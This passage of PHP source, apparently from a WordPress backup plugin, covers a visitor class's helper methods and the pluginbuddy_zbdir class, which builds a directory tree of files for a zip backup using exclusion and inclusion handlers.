$updates, $this->_wanted_keys ); } $this->_items[ $key ] = array_merge( $this->_items[ $key ], $item_update ); } } // Called by user of the visitor after completion of visit to do // any final actions public function finalize() { // By default logging every 100 items but we need to also log the final count // which in general will not be an exact multiple of 100 $count = $this->count(); $this->get_logger()->log( 'details', 'Determining list of candidate files + directories to be added to the zip archive: ' . $count ); } // Get selected item values as a string for display or otherwise // Normally a bool will be cast as empty string if false which isn't // ideal in this context so we handle this specifcally. We could call // a get_key_type() function on a class that defines the item attribute // keys and use that in a switch to handle the specific key conversion // to string but this FFS. public function get_as_string( $keys = array(), $delimiter = ':' ) { $strings = array(); foreach ( $this->_items as $item ) { $string = ''; foreach ( $keys as $key ) { if ( isset( $item[ $key ] ) ) { if ( is_bool( $item[ $key ] ) ) { $string .= ( $item[ $key ] ) ? '1': '0' ; } else { $string .= $item[ $key ]; } } // Always add delimiter to delimit fields $string .= $delimiter; } // Always trim off final delimiter if ( false !== ( $where = strrpos( $string, $delimiter ) ) ) { $string = substr( $string, 0, $where ); } $strings[] = $string; } return $strings; } // Return the list as an array where each item only has the specific details // identified by the requested keys public function get_as_array( $keys = array() ) { $result = array(); foreach ( $this->_items as $item ) { $current = array(); foreach ( $keys as $key ) { ( isset( $item[ $key ] ) ) ? ( $current[ $key ] = $item[ $key ] ) : false ; } $result[] = $current; } return $result; } // Simple function to count the number of items that match some // key=>value pair criteria. Currently it's just a "match-all" // criteria. // FFS: do we need to make this more powerful? public function count( $criteria = array() ) { $count = 0; if ( empty( $criteria ) ) { $count = count( $this->_items ); } else { foreach ( $this->_items as $item ) { $match = true; foreach ( $criteria as $key => $value ) { ( isset( $item[ $key ] ) && ( $value === $item[ $key ] ) ) ? $match : $match = false ; } ( $match ) ? $count++ : $count ; } } return $count; } } /** * pluginbuddy_zbdir Class * * Class for building a list of files to be included in a backup * * @return null * */ class pluginbuddy_zbdir { const NORM_DIRECTORY_SEPARATOR = '/'; const DIRECTORY_SEPARATORS = '/\\'; const TREE_NONE = 0; const TREE_SHALLOW = 1; const TREE_DEEP = 2; /** * The path of this directory node * Will have a trailing directory separator * * @var root string */ protected $_root = ""; protected $_options = array(); protected static $_default_options = array( 'exclusions' => array(), 'exclusions_handler' => null, 'inclusions' => array(), 'inclusions_handler' => null, 'pattern_exclusions' => array(), 'pattern_inclusions' => array(), 'pattern_auto_delimit' => true, 'visitor' => null, 'ignore_symlinks' => true, 'keep_tree' => false); protected $_exclusions_handler = null; protected $_inclusions_handler = null; protected $_visitor = null; protected $_root_node = null; /** * __construct() * * Default constructor. * * * @param string $root The root path of the tree * @param array $options The various options as an associative array * @return null * */ public function __construct( $root = '', $options = array() ) { // Do not change root even if it is just / because *nix can hanle // multiple / as path separators, e.g., /home/jeremy and //home/jeremy // and //home//jeremy and //home///jeremy are all equivalent // But it _must_ be terminated by / (to be consistent with WordPress // representation of directory paths) so we must ensure this. The only // case where we do noting is if the root is simply /. If the root is // a wonky Windows path like //share/whatever that's ok - it should // never be just // as that is an incomplete path specification. $this->_root = ( self::NORM_DIRECTORY_SEPARATOR === ( $this->_root = trim( $root ) ) ) ? $this->_root : rtrim( $this->_root, self::NORM_DIRECTORY_SEPARATOR) . self::NORM_DIRECTORY_SEPARATOR ; // Get our options based on defaults or passed values $this->_options = array_merge( self::$_default_options, $options ); // Use provided exclusions handler, otherwise create our own // Have to handle populating the handler slightly differently // for each case if ( is_object( $this->_options[ 'exclusions_handler' ] ) ) { $this->_exclusions_handler = $this->_options[ 'exclusions_handler' ]; // Must add any exclusions provided - the provided handler must have // had the root option correctly set to allow for properly checking // if an exclusion is a directory when it has no trailing slash $this->_exclusions_handler->add( $this->_options[ 'exclusions' ] ); // Must add any pattern exclusions provided using the auto-delimit mode // chosen by the user which may not be the same as the provided handler // was created with as default $this->_exclusions_handler->add_pattern( $this->_options[ 'pattern_exclusions' ], $this->_options[ 'pattern_auto_delimit' ] ); } else { // Note: exclusions are added at creation of handler and the user chosen // auto-delimit mode is set as the default $this->_exclusions_handler = new pluginbuddy_zbdir_exclusion( $this->_options[ 'exclusions' ], array( 'root' => $this->_root, 'pattern_auto_delimit' => $this->_options[ 'pattern_auto_delimit' ] ) ); // Pattern exclusions added using the previously set auto-delimit mode $this->_exclusions_handler->add_pattern( $this->_options[ 'pattern_exclusions' ] ); } // Use provided inclusions handler, otherwise create our own // Have to handle populating the handler slightly differently // for each case if ( is_object( $this->_options[ 'inclusions_handler' ] ) ) { $this->_inclusions_handler = $this->_options[ 'inclusions_handler' ]; // Must add any inclusions provided - the provided handler must have // had the root option correctly set to allow for properly checking // if an inclusion is a directory when it has no trailing slash $this->_inclusions_handler->add( $this->_options[ 'inclusions' ] ); // Must add any pattern inclusions provided using the auto-delimit mode // chosen by the user which may not be the same as the provided handler // was created with as default $this->_inclusions_handler->add_pattern( $this->_options[ 'pattern_inclusions' ], $this->_options[ 'pattern_auto_delimit' ] ); } else { // Note: inclusions are added at creation of handler and the user chosen // auto-delimit mode is set as the default $this->_inclusions_handler = new pluginbuddy_zbdir_inclusion( $this->_options[ 'inclusions' ], array( 'root' => $this->_root, 'pattern_auto_delimit' => $this->_options[ 'pattern_auto_delimit' ] ) ); // Pattern inclusions added using the previously set auto-delimit mode $this->_inclusions_handler->add_pattern( $this->_options[ 'pattern_inclusions' ] ); } // Now we need a visitor that we should have been given. If not then we // create a null visitor that does nothing and the assumtion is that the tree is // being kept and will be visited with a specific visitor subsequently if ( null == $this->_options[ 'visitor' ] ) { // Not given one - we need at least a basic one so create it $this->_visitor = new pluginbuddy_zbdir_visitor(); } else { $this->_visitor = $this->_options[ 'visitor' ]; } // Now we are ready to build the tree try { $this->_root_node = new pluginbuddy_zbdir_node( $this->_root, '', $this->_exclusions_handler, $this->_inclusions_handler, $this->_visitor, $this->_options[ 'ignore_symlinks' ], $this->_options[ 'keep_tree' ] ); } catch ( Exception $e ) { // Log the problem //pb_backupbuddy::status( 'details', sprintf( __('Exception - unable to build directory tree: %1$s','it-l10n-backupbuddy' ), $e->getMessage() ) ); // Maybe we should clean up our handlers, etc., or maybe doesn't // really matter at present as we will likely terminate anyway // And throw it on throw $e; } // Do any last actions required by the visitor after we have fully traversed the tree $this->_visitor->finalize(); // If we didn't bomb out with an exception then we should have built the tree and visited it // with either our null visitor or the visitor we were given. The caller can use their visitor // as they require as it is owned by them. We may be asked to visit again in which case we // will either be given a visitor to use or the same one as was originally provided will be used // if none is given (which actually means we call the root node with no visitor since it // remembers the original visitor and will use it again). Obvously need to take care with // this - the caller should manage it's own visitor which may mean "clearing" it before // using it again dependent on what it actually does. } /** * __destruct() * * Default destructor. * * @return null * */ public function __destruct( ) { // Destroy exclusions handler if we own it if ( null == $this->_options[ 'exclusions_handler' ] ) { unset( $this->_exclusions_handler ); } // Destroy inclusions handler if we own it if ( null == $this->_options[ 'inclusions_handler' ] ) { unset( $this->_inclusions_handler ); } // Destroy the output handler if we own it if ( null == $this->_options[ 'visitor' ] ) { unset( $this->_visitor ); } // Finally destroy the root node which will destroy the tree as required unset( $this->_root_node ); } public function visit( $visitor = null ) { // Being asked to visit the tree again - note that if the visitor is null then // previous visitor is being used again and the root node will have remembered // it so we just call the root node visit with visitor. for this reason we have // the visit() function return the actual visitor used so we can then call the // finalise() function. // FFS: Mayber we should check we have a kept tree otherwise there is nothing to // visit $visitor = $this->_root_node->visit( $visitor ); $visitor->finalize(); } } } ?>